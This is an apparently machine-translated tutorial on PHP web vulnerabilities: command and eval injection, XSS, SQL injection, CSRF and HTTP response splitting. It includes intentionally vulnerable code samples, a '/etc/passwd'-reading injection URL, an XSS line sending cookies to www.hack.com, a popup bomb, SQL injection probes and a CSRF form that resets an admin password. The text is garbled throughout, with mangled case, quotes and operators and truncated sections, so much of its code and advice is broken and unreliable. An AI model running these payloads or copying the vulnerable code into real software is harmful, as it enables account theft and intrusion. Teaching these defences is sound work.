PHP Vulnerability Full Solution (detailed introduction) _php Tips

Source: Internet
Author: User
Tags function prototype html tags mysql query phpinfo sql injection sql injection attack unique id administrator password

There are several types of attacks for PHP sites:


1. Command Injection (injection)


2. Eval Injection (eval injection)


3. Client-side scripting attacks (script insertion)


4, cross-site scripting attacks (Cross site scripting, XSS)


5. SQL injection attack (SQL injection)


6, cross-site request forgery attack (Cross site request forgeries, CSRF)


7. Session hijacking (Sessions hijacking)


8, session fixed attack (session fixation)


9. HTTP response Split attack (HTTP Response splitting)


10. File Upload Vulnerability (Files Upload Attack)


11, directory through the Vulnerability (directory traversal)


12. Remote file contains attack (remotely inclusion)


13, dynamic function injection attack (dynamically Variable evaluation)


14, url attack (URL attack)


15, form submission spoofing attack (spoofed form submissions)


16. HTTP request Spoofing Attack (spoofed HTTP Requests)





Command Injection attack
You can use the following 5 functions in PHP to perform an external application or function


System, exec, PassThru, Shell_exec, "(Same as shell_exec function)


Function prototypes


String System (String command, int &return_var)


Command to execute


Return_var the state value after execution of the execution command


String exec (String command, array &output, int &return_var)


Command to execute


Output gets every line string that executes the output of the command


Return_var the status value of the execution command


void PassThru (String command, int &return_var)


Command to execute


Return_var the status value of the execution command


String shell_exec (String command)


Command to execute





Vulnerability Instances





Example 1:


ex1.php


<?php


$dir = $_get["dir"];


if (Isset ($dir))


{


echo "<pre>";


System ("Ls-al". $dir);


echo "</pre>";


}


?>


We submithttp://www.sectop.com/ex1.php?dir=| cat/etc/passwd
After the commit, the command becomes system ("Ls-al | CAT/ETC/PASSWD ");

Eval injection attack
The Eval function executes the input string parameter as a PHP program code
Function Prototypes:
Mixed eval (string code_str)//eval injection typically occurs when an attacker can control the input string
ex2.php
<?php
$var = "Var";
if (Isset ($_get["arg"))
{
$arg = $_get["arg"];
Eval ("\ $var = $arg;");
echo "\ $var =". $var;
}
?>
When we submit the Http://www.sectop.com/ex2.php?arg=phpinfo (), the loophole is generated

Dynamic function
<?php
Func A ()
{
DoSomething ();
}
Func B ()
{
DoSomething ();
}
if (Isset ($_get["func"]))
{
$myfunc = $_get["Func"];
Echo $myfunc ();
}
?>
Programmers are intent on dynamically calling A and B functions, then we submit http://www.sectop.com/ex.php?func=phpinfo vulnerabilities to produce

Prevention methods
1, try not to execute external command
2, use a custom function or function library to replace the function of the external command
3, using the ESCAPESHELLARG function to handle command parameters
4, use Safe_mode_exec_dir to specify the path of the executable file
The ESACPESHELLARG function replaces any word that causes the end of a parameter or command with a single quotation mark "'", replaced by "\", double quotes "", replaced by "\", "Escape", semicolon ";" Replace with "\;"
Use Safe_mode_exec_dir to specify the path to the executable file, and you can put the commands you use into this path in advance
Safe_mode = On
Safe_mode_exec_di r=/usr/local/php/bin/

Client Script implantation

Client script implantation (script insertion), which inserts a script that can be executed into an object such as a form, picture, animation, or hyperlink text. When the user opens the object, the script that the attacker implants is executed, and the attack begins.
HTML tags that can be used as scripting implants generally include the following:
1, <script> tag-labeled JavaScript and VBScript, such as page scripting programs. In <script> tags can specify JS program code, can also specify the src attribute in the URL of JS file path
2, <object> tags of the object. These objects are Java applets, multimedia files, and ActiveX controls. You typically specify the URL path for an object within the Data property
3, <embed> tags of the object. These objects are multimedia files, such as SWF files. The URL path of an object is usually specified within the SRC attribute
4, <applet> tags of the object. These objects are Java applets that typically specify the URL path of an object within the CODEBASE attribute
5, <form> tags of the object. The URL path of the Web application that is typically specified in the action attribute to process the form data

Attack steps for client-side scripting implants
1, the attacker registered ordinary users after landing site
2, open the Message page, insert the attack JS code
3, other users login site (including administrators), browse the content of this message
4, hidden in the message content of the JS code was executed, the attack was successful

Instance
Database
CREATE TABLE ' PostMessage ' (
' id ' int (one) not NULL auto_increment,
' Subject ' varchar not NULL default ',
' Name ' varchar ' not NULL default ',
' Email ' varchar not NULL default ',
' Question ' Mediumtext not NULL,
' Postdate ' datetime not NULL default ' 0000-00-00 00:00:00′,
PRIMARY KEY (' id ')
) Engine=myisam DEFAULT charset=gb2312 comment= ' user's message ' auto_increment=69;
add.php Insert Message
list.php message list
show.php Display Message

Submit a message in the following picture

The JS script will be executed when browsing this message
Insert <script>while (1) {Windows.open ();} </script> Infinite Bomb Frame
Insert <script>location.href= "http://www.sectop.com";</script> jump phishing page
Or use other self constructed JS code to attack

Ways to prevent
Typically use the Htmlspecialchars function to convert special characters to HTML encoding
Function prototypes
String Htmlspecialchars (string string, int Quote_style, string charset)
String is the strings to encode
Quote_style optional, values can be Ent_compat, ent_quotes, ent_noquotes, default value Ent_compat, which means that only double quotes are converted and single quotes are not converted. Ent_quotes, which means that double quotes and single quotes are converted. Ent_noquotes, which means double quotes and single quotes are not converted
CharSet optional, representing the character set used
function converts the following special characters to HTML encoding:
&--> &
"-->"
'--> '
<--> <
>--> >
Change the 98th line of show.php into
<?php Echo Htmlspecialchars (nl2br ($row [' question ']), ent_quotes);?>
Then look at the vulnerability page that inserts JS

XSS Cross-site scripting attacks

XSS (Cross site scripting), meaning Cross-site scripting attacks, for the purpose of distinguishing from style sheet CSS (cascading style Sheet), abbreviated as XSS
Cross-site scripting is primarily exploited by an attacker to read cookies or other personal data from a website user, and once an attacker obtains that data, he can then disguise himself as the user to log on to the site and gain access to the user.
General steps for Cross-site scripting attacks:
1. An attacker sends an XSS HTTP link in some way to the target user
2, the target user logs on to this site, opens the XSS link sent by the attacker during the login
3, the Web site executed this XSS attack script
4, The target user page jumps to the attacker's website, the attacker obtains the target user's information
5, the attacker uses the target user's information to log in the website, completes the attack

When a program with a cross-site vulnerability occurs, an attacker can construct a similar  http://www.sectop.com/search.php?key=<script>document.location= ' http ://www.hack.com/getcookie.php?cookie= ' +document.cookie;</script>, trick user clicks, can get user cookies value
Precautionary Method:
Use the Htmlspecialchars function to convert special characters to HTML encoding
function prototype
string Htmlspecialchars (string string, int Quote_style, String charset)
        string is the strings to encode  
         quote_style optional, the value can be Ent_compat, ent_quotes, ent_noquotes, default value Ent_compat, Indicates that only double quotes are converted and single quotes are not converted. Ent_quotes, which means that double quotes and single quotes are converted. Ent_noquotes, which means that both double and single quotes do not convert  
        charset Optional, representing the character set used
The function converts the following special characters to HTML encoding:
&-->
"-->"
'--> '
<-->.
>-->

$_server[the "php_self" variable's cross-station
In a form, if you submit a parameter to yourself, you would use a statement like this
<form action= "<?php echo $_server[" php_self "];? > "method=" POST >
......
</form>
The value of the $_server["php_self" variable is the current page name
Cases:
http://www.sectop.com/get.php
The above form in get.php
Then we submit
http://www.sectop.com/get.php/"><script>alert (document.cookie);</script>
Then the form becomes
<form action= "get.php/" ><script>alert (document.cookie);</script> "method=" POST >
Cross-station script is plugged in.
Defense methods use Htmlspecialchars to filter out variables, or forms that are submitted to their own files.
<form action= "" method= "POST" >
This directly avoids the $_server["php_self"] variable being spanned

SQL injection attack

SQL injection attack (SQL injection) is an attacker submitting a carefully constructed SQL statement in a form, altering the original SQL statement, and causing a SQL injection attack if the Web program does not check the submitted data.

General steps for SQL injection attacks:

1, the attacker to access the site with SQL injection vulnerabilities, looking for injection point

2, the attacker constructs the injection statement, the injection statement and the SQL statement in the program combine to generate the new SQL statement

3. New SQL statements are committed to the database to perform processing

4. The database executes a new SQL statement that throws a SQL injection attack

Instance

Database

CREATE TABLE ' PostMessage ' (

' id ' int (one) not NULL auto_increment,

' Subject ' varchar not NULL default ',

' Name ' varchar ' not NULL default ',

' Email ' varchar not NULL default ',

' Question ' Mediumtext not NULL,

' Postdate ' datetime not NULL default ' 0000-00-00 00:00:00′,

PRIMARY KEY (' id ')

) Engine=myisam DEFAULT charset=gb2312 comment= ' user's message ' auto_increment=69;

Grant all privileges in ch3.* to ' sectop ' @localhost identified by ' 123456′;

add.php Insert Message

list.php message list

show.php Display Message

Page http://www.netsos.com.cn/show.php?id=71 There may be an injection point, we'll test

Http://www.netsos.com.cn/show.php?id=71 and 1=1

Back to Page

 

Submit

Once a query to the record, not once, let's look at the source

show.php 12-15 Lines

Execute MySQL Query statement

$query = "SELECT * from postmessage where id =". $_get["id"];

$result = mysql_query ($query)

Or Die ("Execute Ysql query statement failed:". Mysql_error ());

After the parameter ID is passed in, the SQL statement combined with the preceding string is put into the database to execute the query

Commit and 1=1, the statement becomes a select * from postmessage where id = the 1=1 of the statement before the value is true, and also true, returns the queried data

Commit and 1=2, the statement becomes a select * from postmessage where id = 1=2 The statement is true before the value is false, and later is false, no data is queried

The normal SQL query, after our constructed statement, forms a SQL injection attack. Through this injection point, we can further get permission, such as using union to read the admin password, read the database information, or use the MySQL load_file,into outfile and other functions to further penetrate.

Prevention methods

 Integer parameter:

Using the Intval function to convert data into integers

Function prototypes

int intval (mixed var, int base)

var is a variable to be converted into an integer

Base, optional, is the base number, default is 10

Floating-point parameters:

Using Floatval or Doubleval functions to convert single and double-precision floating-point parameters respectively

Function prototypes

int floatval (mixed var)

var is the variable to convert

int Doubleval (mixed var)

var is the variable to convert

Character type parameter:

Use the Addslashes function to convert the single quote "" to "\", double quote "" "to" \ ", backslash" \ "to" \ ", and null character plus backslash" \ "

Function prototypes

  String addslashes (String str)

STR is the string to check

So the code leak that just appeared, we can fix this

Execute MySQL Query statement

$query = "SELECT * from postmessage where id =". Intval ($_get["id"]);

$result = mysql_query ($query)

Or Die ("Execute Ysql query statement failed:". Mysql_error ());

If it is a character type, first determine MAGIC_QUOTES_GPC can not be on, when not on the use of Addslashes escape special characters

if (GET_MAGIC_QUOTES_GPC ())

{

$var = $_get["var"];

}

Else

{

$var = Addslashes ($_get["var"]);

}

Test again, the bug has been patched

Collapse of web site forgery request

CSRF (Cross site request forgeries), meaning for cross-site request forgery, also have written as XSRF. The attacker forged the HTTP request of the target user and then sent the request to a Web site with a csrf vulnerability, which caused a Cross-site request forgery attack after the site executed the request. The attacker uses a covert HTTP connection to allow the target user to click the link unnoticed, because the user clicks on it, and the legitimate user has legitimate rights, so the target user can execute a specific HTTP link within the site, thus achieving the attacker's purpose.
For example: a shopping site to buy goods, using the Http://www.shop.com/buy.php?item=watch&num=1,item parameter to determine what items to buy, num parameters to determine the number of purchases, If an attacker sends a hidden way to the target user link
if the target user accidentally visits, the number of purchases becomes 1000

Instance
V1.0 Network PHP message Board

Delete any message
delbook.php This page to delete a message
<?php
Include_once ("dlyz.php"); dlyz.php user authentication permission, when the permission is admin can delete the message
Include_once (".. /conn.php ");
$del =$_get["Del"];
$id =$_get["id"];
if ($del = = "Data")
{
$ID _dele= implode (",", $_post[' Adid '));
$sql = "Delete from book where ID in (". $ID _dele. ");
mysql_query ($sql);
}
Else
{
$sql = "Delete from book where id=". $id; Pass the message ID to be deleted
mysql_query ($sql);
}
Mysql_close ($conn);
echo "<script language= ' JavaScript ' >";
echo "Alert" (' Delete succeeded! ');";
echo "location= ' book.php ';";
echo "</script>";
?>
When we have admin permission to submit http://localhost/manage/delbook.php?id=2, we delete the message with ID 2
How to use:
We use the ordinary user message (source code method), the content is

&lt;img src= "delbook.php?id=5"/&gt;


Insert 4 Picture links delete 4 ID messages, and then we return to the home page to see, no change. The picture doesn't show


Now we use Admin account login, to refresh the home page, will find left a message, other in the picture link designated ID number of the message, all are deleted.


The attacker inserts a hidden picture link in the message, this link has the function of deleting a message, and the attacker's own access to these picture links, it does not have permission, so see no effect, but when the administrator log in, view this message, will perform a hidden link, and his permission is large enough, So these messages are deleted.


Modify Administrator Password


pass.php


if ($_get["Act"])


{


$username =$_post["username"];


$sh =$_post["sh"];


$gg =$_post["GG"];


$title =$_post["title"];


$copyright =$_post["Copyright"]. " &lt;br/&gt; Design: &lt;a href=http://www.115cn.cn&gt; Xiamen Network Technology &lt;/a&gt; ";


$password =md5 ($_post["password"]);


if (Empty ($_post["password"]))


{


$sql = "Update gly set Username= '". $username. "', sh= '. $sh.", gg= ' ". $gg." ', title= ' ". $title. where id=1 ";


}


Else


{


$sql = "Update gly set Username= '". $username. "', password= '". $password. "', sh= '. $sh.", gg= ' ". $gg." ', title= ' ". $title." ' , copyright= '. $copyright. "' Where id=1 ';


}


mysql_query ($sql);


Mysql_close ($conn);


echo "&lt;script language= ' JavaScript ' &gt;";


echo "Alert" (' Modified successfully! ');";


echo "location= ' pass.php ';";


echo "&lt;/script&gt;";


}


This file is used to modify some information about the admin password and website settings, and we can construct the following form directly:


&lt;body&gt;


&lt;form action= "Http://localhost/manage/pass.php?act=xg" method= "Post" Name= "Form1" Id= "Form1" &gt;


&lt;input type= "Radio" value= "1" name= "sh" &gt;


&lt;input type= "Radio" name= "sh" checked value= "0" &gt;


&lt;input type= "text" name= "username" value= "root" &gt;


&lt;input type= "password" name= "password" value= "root" &gt;


&lt;input type= "text" name= "title" Value= "The Web PHP Message board V1.0 (with audit function)" &gt;


&lt;textarea name= "GG" rows= "6" cols= "&gt;" Welcome youInstall using the Web PHP message board V1.0 (with audit function)! </textarea>
<textarea name= "Copyright" rows= "6" cols= ">" The Web PHP message V1.0 Copyright: Xiamen, the network technology 2005-2009<br/> to undertake web site construction and System customization to provide preferential host domain name </textarea>
</form>
</body>
Save As attack.html, put on your website http://www.sectop.com/ attack.html, this page will automatically submit parameters to the target program's pass.php, user name modified to root, password modified to root, and then we go to the message board to send a message, hide this link, admin access, his username and password all modified into a root

Prevention methods
Guarding against CSRF is more difficult than defending against other attacks, since CSRF HTTP requests, although they are forged by attackers, are issued by the target user, and there are several common ways to prevent them:
1, check the source of the Web page
2, check the built-in hidden variables
3, use post, do not use get
Check Web page source
Add the following red font code to the//pass.php header to verify the data submission

if ($_get["Act"])


{


if (Isset ($_server["Http_referer"]))


{


$serverhost = $_server["SERVER_NAME"];


$strurl = Str_replace ("http://", "" ", $_server[" Http_referer "]);


$strdomain = Explode ("/", $strurl);


$sourcehost = $strdomain [0];


if (strncmp ($sourcehost, $serverhost, strlen ($serverhost))


{


Unset ($_post);


echo "&lt;script language= ' JavaScript ' &gt;";


echo "alert (' Data source exception! ');";


&amp;


nbsp echo "location= ' index.php ';";


echo "&lt;/script&gt;";


}


}


$username =$_post["username"];


$sh =$_post["sh"];


$gg =$_post["GG"];


$title =$_post["title"];


$copyright =$_post["Copyright"]. " &lt;br/&gt; Design: &lt;a href=http://www.115cn.cn&gt; Xiamen Network Technology &lt;/a&gt; ";


$password =md5 ($_post["password"]);


if (Empty ($_post["password"]))


{


$sql = "Update gly set Username= '". $username. "', sh= '. $sh.", gg= ' ". $gg." ', title= ' ". $title. where id=1 ";


}


Else


{


$sql = "Update gly set Username= '". $username. "', password= '". $password. "', sh= '. $sh.", gg= ' ". $gg." ', title= ' ". $title." ' , copyright= '. $copyright. "' Where id=1 ';


}


mysql_query ($sql);


Mysql_close ($conn);


echo "&lt;script language= ' JavaScript ' &gt;";


echo "Alert" (' Modified successfully! ');";


echo "location= ' pass.php ';";


echo "&lt;/script&gt;";


}


check for built-in hidden variables


We have a hidden variable and a session variable built into the form, and then we check whether the hidden variable and the session variable are equal to determine whether the same page is called


&lt;?php


Include_once ("dlyz.php");


Include_once (".. /conn.php ");


if ($_get["Act"])


{


if (!isset ($_session["post_id"]))


{


Generate a unique ID and use MD5 to encrypt


$post _id = MD5 (Uniqid (rand (), true);


Create Session variable


$_session["post_id"] = $post _id;


}


Check for equality


if (Isset ($_session["post_id"]))


{


Not equal


if ($_session["post_id"]!= $_post["post_id"])


{


Clear post Variable


Unset ($_post);


echo "&lt;script language= ' JavaScript ' &gt;";


echo "alert (' Data source exception! ');";


echo "location= ' index.php ';";


echo "&lt;/script&gt;";


}


}

......

<input type= "reset" name= "Submit2" value= "reset" >
<input type= "hidden" name= post_id "value=" <?php echo $_session["post_id"];? > ">
</td></tr>
</table>
</form>
<?php
}
Mysql_close ($conn);
?>
</body>
Use post, do not use get
When passing form fields, be sure to use post, do not use GET, handle variables, and do not use $_request directly

HTTP response Split

Format of HTTP requests

1 Request Information: For example "get/index.php http/1.1", request index.php file

2 Header: For example "Host:localhost", indicating server address

3 Blank Line

4) Information text

Both the request information and the table headers must end with a newline character (CRLF), and a blank row can contain only line breaks and no other spaces.

The following example sends an HTTP request to the server www.yhsafe.com

get/index.php http/1.1↙//Request Information

Host:www.yhsafe.com↙// table Head

↙//Empty Cells
The ↙ symbol represents the Enter key, and after the blank line, the HTTP request is sent in a single space, and only the host header is required in the header of the HTTP request, and the remaining HTTP headers are based on the contents of the HTTP request.
Methods of HTTP Requests
1 Get: Request response
2 head: The same response as GET, requires only the response header
3 post: Send data to the server processing, the data contained in the HTTP message body
4) Put: Upload file
5) Delete: deleting files
6 Trace: Tracking received requests
7 Options: Methods to return HTTP requests supported by the server
8 Connect: Convert HTTP request connection to transparent TCP/IP channel
Format of HTTP response
After the server finishes processing the HTTP request made by the client, the following response is sent.
1 The first line is the status code
2) The second line starts with other information
The status code contains a number that identifies the state and a word that describes the state. For example:
http/1.1 OK
200 is the identification of the status of the number, OK is the description of the state of the word, this status code identification request success.

Examples of HTTP requests and responses

Open cmd input telnet, enter open www.00aq.com 80

Enter after opening connection

get/index.php http/1.1↙

host:www.00aq.com↙

Returns the header of an HTTP response

Back to the contents of the first page

Using PHP to send HTTP requests

Header function can be used to send HTTP request and response headers

Function prototypes

void header (String string [, bool replace [, int http_response_code]])

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.